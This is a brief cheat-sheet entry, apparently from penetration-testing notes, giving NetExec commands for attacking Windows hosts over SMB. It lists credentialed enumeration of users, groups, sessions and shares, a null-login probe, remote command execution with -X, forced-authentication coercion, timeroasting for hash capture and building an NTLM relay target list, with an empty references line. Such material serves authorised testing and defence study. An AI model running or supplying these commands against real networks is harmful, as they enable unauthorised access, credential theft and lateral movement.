Enumerate or attack a host with NetExec, by protocol.
Command:
nxc smb $IP -u '$USER' -p '$PASSWORD' --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-pol
nxc smb $IP -u 'a' -p ''
nxc smb $IP -u '$USER' -p '$PASSWORD' -X 'whoami'
nxc smb $IP -u $USER -p $PASSWORD -M coerce_plus
nxc smb $IP -M timeroast
nxc smb smb_hosts.txt --gen-relay-list relay_targets.txt
References: